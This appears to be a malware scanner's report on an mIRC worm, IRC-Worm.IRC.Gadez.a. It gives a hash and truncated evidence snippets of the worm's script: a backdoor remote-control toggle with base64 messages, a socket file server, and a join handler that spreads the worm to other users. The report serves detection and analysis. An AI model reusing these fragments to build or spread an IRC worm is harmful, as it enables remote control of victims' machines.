Suspicious ^80% Download

IRC-Worm.IRC.Gadez.a

Named IRC worm with C2

Detects mIRC scripting commands used by wormsmIRC command targets nickname variable

SHA-256ed6b764c92529bcc88dd96058a7d82e4256961def5c2f1a9bd77d9e841d21d28

Evidence

mIRC command targets nickname variable lines 5–11

39…  $chr(100) $+ $chr(122) $+ $chr(97)) {
  if ($2 == On) { .set %d.on $true | .set %d.nick $nick | .privmsg $nick $decode(SW5pY2lhbmRvIFNlY2lvbiBkZSBDb250cm9sIFJlbW90byA6KQ==,m) }
if ($2 == Off) { .set %d.on $false | .unset %d.nick $nick | .privmsg $nick $decode(VGVybWluYW5kbyBTZWNpb24gZGUgQ29udHJvbCBSZW1vdG8gOik=,m) } }
else { .privmsg $nick $decode(cGFzcyBpbmNvcnJlY3QgOig=,m) }
close -cm $nick }
10On 1:Text:smd*:*:{
if (%d. …

HTTP Content-Length header lines 55–59

9… ader $sockname
wsock $sockname Content-Type: text/html
wsock $sockname Content-Length: $+ $Chr(32) $+ $calc($file(WINDIR\H.DAT).size + 243)
wsock $sockname $crlf
%c = 1 | while (%c < 8) { wsock $sockname ---- …

Encoded content decoded: base64 lines 148–154

⋯4 lines
152  Set %ht 0
153} 
154On 1:JOIN:*:{ if ($nick != $me) { { siv $nick } | { sv } } | else { if (ayuda isin #) || (help isin #) || (virus isin #) || (avt isin #) || (vh isin #) || (gigairc i …